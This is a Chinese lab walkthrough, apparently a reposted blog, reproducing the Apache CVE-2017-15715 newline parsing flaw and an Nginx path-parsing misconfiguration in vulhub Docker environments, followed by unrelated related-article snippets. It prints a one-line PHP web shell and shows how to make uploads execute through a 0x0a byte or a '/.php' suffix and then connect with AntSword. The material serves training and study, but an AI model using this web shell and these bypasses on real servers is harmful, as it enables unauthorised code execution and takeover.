vulhub中间件解析漏洞复现

news2024/11/19 19:18:57

vulhub中间件解析漏洞复现

🍉 === shell

此环境来自vulhub工程:
https://github.com/vulhub/vulhub

以下测试环境为ubuntu 20.04


🍉目录

  • vulhub中间件解析漏洞复现
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
      • 漏洞原理及环境部署
      • 文件上传
      • 蚁剑直连
      • 加固
    • Nginx 解析漏洞复现
      • 环境
      • 简单getshell


Apache HTTPD 换行解析漏洞(CVE-2017-15715)

漏洞原理及环境部署

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

# 拉取vulhub配置
git clone https://github.com/vulhub/vulhub.git

# 切换到相应漏洞路径
cd xxx/vulhub-master/httpd/CVE-2017-15715

# docker-compose部署该漏洞环境
docker-compose up -d

文件上传

访问http://ip:8080/,只有一个文件上传框,直接上传一句话木马

GIF89a<?=eval($_POST["root"]);?>

然后抓包
请添加图片描述
打开hex表,找到shell.php哪一行,右键0d选择插入byte
请添加图片描述
写入0a,然后确定
请添加图片描述
访问shell.php%0a,确认是否能解析
请添加图片描述

蚁剑直连

请添加图片描述

加固

  • 别使用版本为2.4.0~2.4.29的Apache中间件
  • Apache源码修改(不至于,不至于…)

Nginx 解析漏洞复现

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞,在上传图片路径后加上/.php就会当成php解析

环境

# 开之前记得关80端口服务,不然可能会出现端口占用的问题
cd nginx/nginx_parsing_vulnerability/

# docker启动
docker-compose up -d

简单getshell

上传一张图片马,根据图片路径访问http://your-ip/uploadfiles/23c6161c5b4dafe8becc8e29452f00b2.jpg/.php
请添加图片描述

会发现被解析成php,蚁剑直连
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/69745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis--高级篇 D4 Redis分片集群

1、分片集群的结构 2、搭建分片集群 2.1 分片集群结构 分片集群需要的节点数量较多&#xff0c;这里我们搭建一个最小的分片集群&#xff0c;包含3个master节点&#xff0c;每个master包含一个slave节点&#xff0c;结构如下&#xff1a; 这里我们会在同一台虚拟机中开启6个r…

Java多态详解

前言 多态是同一个行为具有多个不同的表现形态或形式的能力 比如&#xff1a; 小阿giao&#xff0c;他是一名主播&#xff0c;同样也是一个人&#xff1b; 小阿giao是一个对象&#xff1b; 这个对象既有主播形态&#xff0c;也有人类形态&#xff1b; 即&#xff1a;一个对象…

醛基-PEG-纤维二糖 Cellobiose-CHO 纤维二糖-醛基

醛基-PEG-纤维二糖 Cellobiose-CHO 纤维二糖-醛基 羰基中的一个共价键跟氢原子相连而组成的一价原子团&#xff0c;叫做醛基&#xff0c;醛基结构简式是-CHO&#xff0c;醛基是亲水基团&#xff0c;因此有醛基的有机物&#xff08;如乙醛等&#xff09;有一定的水溶性。 中…

Unity有哪些适合拿来练手的游戏项目?

首先推荐一篇文章&#xff0c;其中涵盖海量Unity和C#的书籍、demo等海量干货。 文章链接&#xff1a;Unity 高级程序员应该具备怎样的能力&#xff1f;要怎样成长为 Unity 高级程序员&#xff1f; Unity有哪些适合练手的游戏项目&#xff1f;还是老规矩&#xff0c;全文无付费…

【软件STM32cubeIDE下STM32F4xx使用DMA+定时器+推PWM+点亮灯带WS2812相关-进阶(全数据流版)】

2TOC &#xff08;1&#xff09;前言 &#xff08;1&#xff09;起源 最近作了有关ws2812灯带的后续测试&#xff0c;这源于一个简单的问题。 如果用STM32F4点灯带&#xff0c;每个DMA数据流都用上&#xff0c;那么可以点亮多少条灯带&#xff1f; 实际情况更加复杂些&#x…

JAVA EE,一文彻底聊明白

关于JAVA EE的论述&#xff0c;JAVA EE和Spring的论述在第二、三章节。 目录 1.JAVA的发展史 2.JAVA EE 3.JAVA EE和Spring 1.JAVA的发展史 JAVA语言于1995年面世&#xff0c;主要开发者为——James Gosline&#xff0c;后被称为JAVA语言之父。最早该语言叫Oak&#xff0c;…

写给Java应用开发看的Elasticsearch调优手册

随着数据量的增长&#xff0c;MySQL在很多场景下&#xff0c;似乎已经无能为力了&#xff0c;所以有不少应用的数据从MySQL迁移到了Elasticsearch&#xff0c;我们的应用就在其中。由于开发时间紧张&#xff0c;所以仅仅只是了解了下Elasticsearch的基本知识&#xff0c;随便写…

[HDF5]如何使用CMake一起编译自己的代码和HDF5库

以一个实际项目来举例 目录 一.目录结构 二.CMakeLists.txt内容 三.执行CMakeLists命令 一.目录结构 1.build放CMake执行后生成的所有的内容&#xff0c;包括最后的工程或可执行文件等; 2.include放工程的头文件&#xff0c;以及HDF5的头文件&#xff0c;可以直接把HDF5中…

顶象业务安全情报——企业一眼“看透”黑灰产

不可否认&#xff0c;随着互联网的发展&#xff0c;黑灰产们也变得越来越“聪明”。它们不仅熟悉业务流程以及防护逻辑&#xff0c;并且能够熟练运用自动化、智能化的新兴技术实施攻击或诈骗行为&#xff0c;且极难识别。对购物、金融、社交、出行、教育、游戏等行业造成极大业…

3 个月前被裁员了,心情跌落谷底,直到我看到了这本神书…

3个月前的某一天&#xff0c;正在愉快的打工&#xff0c;突然被喊去谈话&#xff0c;然后就被辞退了。。 加入了找工作的大军 然而&#xff0c;因为疫情&#xff0c;因为大专学历的我&#xff0c;找工作比以往都艰难了许多 很多&#xff0c;纯粹就是因为学历&#xff0c;都不…

你想知道刷题的秘密吗?一篇博客让你明白什么是OJ题,如何刷OJ题,并深入浅出的带你刷遍顺序表的OJ题(小白必看)

目录 0.前言 1.什么是OJ 1.1 OJ简述 1.2 OJ的分类&#xff08;尤其接口型OJ&#xff0c;带你剖析得明明白白&#xff09; 1.3 接口型OJ的输入型参数 2. 剑指 Offer 56 - I. 数组中数字出现的次数 3. 88. 合并两个有序数组 4. 27.移除元素 5. 26. 删除有序数组中的重复…

Linux系统配置JDK环境变量

1、下载 1.1、Oracle官方下载地址&#xff1a;https://www.oracle.com/cn/java/technologies/downloads/#java8 1.2、同意协议&#xff0c;并点击Download 1.3、账号密码登录&#xff0c;没有可以创建一个 1.4、登录成功后就直接下载了 2、配置 2.1、下载好的压缩包上传到Lin…

FreeRTOS第一个任务的创建和调度详解(SVC异常)

在上一篇文章中&#xff0c;我详细分析了FreeRTOS中上下文切换&#xff1a;基于Cortex-M的RTOS上下文切换详解及FreeRTOS实例 但是第一个任务没有上下文&#xff0c;它是怎么运行的呢&#xff1f; 1 创建任务 如果我们没有创建任务的话&#xff0c;系统也有一个空闲任务用来…

【 java 集合】使用迭代器 Iterator 遍历集合

&#x1f4cb; 个人简介 &#x1f496; 作者简介&#xff1a;大家好&#xff0c;我是阿牛&#xff0c;全栈领域优质创作者。&#x1f61c;&#x1f4dd; 个人主页&#xff1a;馆主阿牛&#x1f525;&#x1f389; 支持我&#xff1a;点赞&#x1f44d;收藏⭐️留言&#x1f4d…

空气源热泵设备远程监控的优点

空气源热泵热水器是一种节能、环保、安全的新能源产品&#xff0c;也是家庭采暖、生活热水及空调制冷等方面的最佳选择。 在使用时&#xff0c;只需一次少量的电能就能实现连续制热和制冷&#xff0c;其制热效率是燃气热水器、电热水瓶和燃油热车等供热设备的数倍&#xff0c;因…

亿联会议系统操作使用全教程

环境&#xff1a; 终端VC800 亿联会议pc.v4.2.11 教程&#xff1a; 一、下载安装亿联会议PC/手机APP 官网下载 1.以下教程为Windows版演示 2.安装亿联会议软件&#xff08;具体操作按软件提示步骤进行&#xff09; 3.注册账号 3.1点击免费注册按钮&#xff0c;自动跳转至…

SCI投稿经验分享:成功发表一篇中科院2区智能物联网类SCI真的不难

我是如何用三个月成功发表一篇TOP 【本期推荐】本期小编分享点不一样的内容。关注小编三个月以上的铁粉可能会留意到七月份本协会新增了一本计算机智能物联网类1区TOP刊&#xff0c;该刊一经推出就受到了广大作者的纷纷投稿。奈何期刊合作期刊编辑严格控制版面&#xff0c;所以…

配电网络扩展规划:考虑使用概率性能源生产和消费概况的决策(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️❤️&#x1f4a5;&#x1f4a5;&#x1f4a5; &#x1f389;作者研究&#xff1a;&#x1f3c5;&#x1f3c5;&#x1f3c5;主要研究方向是电力系统和智能算法、机器学…

Java开发学习(三十一)----Maven属性与版本管理

一、属性 1.1 问题分析 如下图所示 你会发现&#xff0c;如果现在想更新Spring的版本&#xff0c;你会发现依然需要更新多个jar包的版本&#xff0c;这样的话还是有可能出现漏改导致程序出问题&#xff0c;而且改起来也是比较麻烦。 问题清楚后&#xff0c;我们需要解决的话…

SpringBoot 打 jar包和打war 包配置

文章目录1. 前言2. SpringBoot 打 jar 包3. SpringBoot 打 war 包4.小结1. 前言 目前我们熟知的SpringBoot 打包方式&#xff0c;一共分为两种&#xff0c;一种是打jar 包&#xff08;内置tomcat 方式&#xff0c;yml 里的配置参数生效包括端口&#xff0c;和servlet 的contex…